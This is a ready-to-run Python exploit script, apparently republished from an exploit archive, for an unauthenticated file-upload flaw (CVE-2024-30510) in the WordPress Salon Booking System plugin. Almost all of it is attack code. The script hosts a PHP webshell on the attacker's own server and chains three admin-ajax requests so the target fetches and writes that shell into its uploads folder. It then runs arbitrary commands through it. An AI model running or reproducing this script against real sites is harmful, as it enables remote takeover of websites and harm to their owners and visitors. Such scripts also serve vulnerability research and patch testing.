Share
## https://sploitus.com/exploit?id=PACKETSTORM:226398
#!/usr/bin/env python3
# Exploit Title: WordPress Plugin Salon Booking System <= 9.5 - Unauthenticated Arbitrary File Upload to RCE
# Google Dork: N/A
# Date: 2026-07-10
# Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
# Vendor Homepage: https://wordpress.org/plugins/salon-booking-system/
# Software Link: https://downloads.wordpress.org/plugin/salon-booking-system.9.4.zip
# Version: 9.4 (REQUIRED)
# Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
# CVE : CVE-2024-30510
"""CVE-2024-30510 โ Salon Booking System <= 9.5 โ Unauthenticated Arbitrary File Upload -> RCE
Blackbox HTTP exploit against a real WordPress + Salon Booking System install.
Root cause:
- admin-ajax action `salon` is registered for nopriv (src/SLN/Action/Init.php:415) and the
dispatcher SLN_Plugin::ajax() has its nonce check COMMENTED OUT (src/SLN/Plugin.php:220),
then instantiates SLN_Action_Ajax_<method> from $_REQUEST['method'] with no capability check.
- method=importAssistants -> SLN_Action_Ajax_ImportAssistants, a 3-step CSV "import assistants"
flow (start -> matching -> process). On `process`, for a row whose mapped `image_url` field
is set, the handler does file_get_contents($image_url) then fwrite() into the uploads dir
using basename($image_url) as the filename, with NO extension/MIME validation
(src/SLN/Action/Ajax/ImportAssistants.php ~L111-121). A `.php` URL yields a webshell.
The import state is kept in a site-wide transient, so the 3 unauthenticated requests chain
without any cookie/session.
Usage:
python3 CVE-2024-30510_salon-booking.py --target http://localhost:8090 --lhost host.docker.internal
"""
import argparse, threading, http.server, socketserver, time, sys, datetime, urllib.parse
import requests
requests.packages.urllib3.disable_warnings()
TOKEN = "SALON_PWNED_30510"
SHELL = ("<?php echo '%s'; if(isset($_GET['c'])) system($_GET['c']); "
"echo ' phpuser='.get_current_user(); ?>" % TOKEN).encode()
class PayloadHandler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.send_header("Content-Type", "text/plain")
self.send_header("Content-Length", str(len(SHELL)))
self.end_headers()
self.wfile.write(SHELL)
def log_message(self, *a): pass
def start_server(port):
socketserver.TCPServer.allow_reuse_address = True
httpd = socketserver.TCPServer(("0.0.0.0", port), PayloadHandler)
threading.Thread(target=httpd.serve_forever, daemon=True).start()
return httpd
def main():
ap = argparse.ArgumentParser()
ap.add_argument("--target", required=True)
ap.add_argument("--lhost", required=True, help="address the target uses to reach us (e.g. host.docker.internal)")
ap.add_argument("--lport", type=int, default=8902)
ap.add_argument("--shell-name", default="salon_shell.php")
ap.add_argument("--cmd", default="id")
args = ap.parse_args()
base = args.target.rstrip("/")
ajax = base + "/wp-admin/admin-ajax.php"
print(f"[*] Target: {base}")
print(f"[*] Payload server on 0.0.0.0:{args.lport} (target reaches it at {args.lhost}:{args.lport})")
httpd = start_server(args.lport)
time.sleep(0.4)
shell_url = f"http://{args.lhost}:{args.lport}/{args.shell_name}"
# CSV: header row defines columns 'name' and 'image_url'; data row carries the payload URL
csv = f"name,image_url\nlab-assistant,{shell_url}\n"
# --- Step 1: start (multipart upload of the CSV) ---
print("[*] Step 1/3 -> step=start (upload CSV defining image_url column)")
r1 = requests.post(ajax,
data={"action": "salon", "method": "importAssistants", "step": "start"},
files={"file": ("import.csv", csv, "text/csv")},
timeout=30, verify=False)
print(f" HTTP {r1.status_code} :: {r1.text[:160]}")
# --- Step 2: matching (map plugin fields -> CSV columns) ---
form = urllib.parse.urlencode({
"import_matching[name]": "name",
"import_matching[image_url]": "image_url",
})
print("[*] Step 2/3 -> step=matching (map image_url -> image_url column)")
r2 = requests.post(ajax,
data={"action": "salon", "method": "importAssistants", "step": "matching", "form": form},
timeout=30, verify=False)
print(f" HTTP {r2.status_code} :: {r2.text[:160]}")
# --- Step 3: process (triggers file_get_contents + fwrite of the payload) ---
print("[*] Step 3/3 -> step=process (fetch image_url + write to uploads)")
r3 = requests.post(ajax,
data={"action": "salon", "method": "importAssistants", "step": "process"},
timeout=30, verify=False)
print(f" HTTP {r3.status_code} :: {r3.text[:160]}")
# webshell lands in uploads/<YYYY>/<MM>/<name>
now = datetime.datetime.now(datetime.timezone.utc)
candidates = [
f"/wp-content/uploads/{now.year}/{now.month:02d}/{args.shell_name}",
f"/wp-content/uploads/{args.shell_name}",
]
print("[*] Verifying webshell (blackbox RCE check)...")
for path in candidates:
try:
rr = requests.get(base + path, params={"c": args.cmd}, timeout=15, verify=False)
except Exception as e:
print(f" {path} -> error {e}"); continue
if TOKEN in rr.text:
print(f"\n[+] RCE CONFIRMED โ webshell at {path}")
print(f"[+] `{args.cmd}` output:\n{'-'*50}\n{rr.text.strip()}\n{'-'*50}")
httpd.shutdown(); return 0
print(f" {path} -> HTTP {rr.status_code} (no marker)")
print("\n[-] Could not confirm the webshell (check allow_url_fopen / uploads path).")
httpd.shutdown(); return 1
if __name__ == "__main__":
sys.exit(main())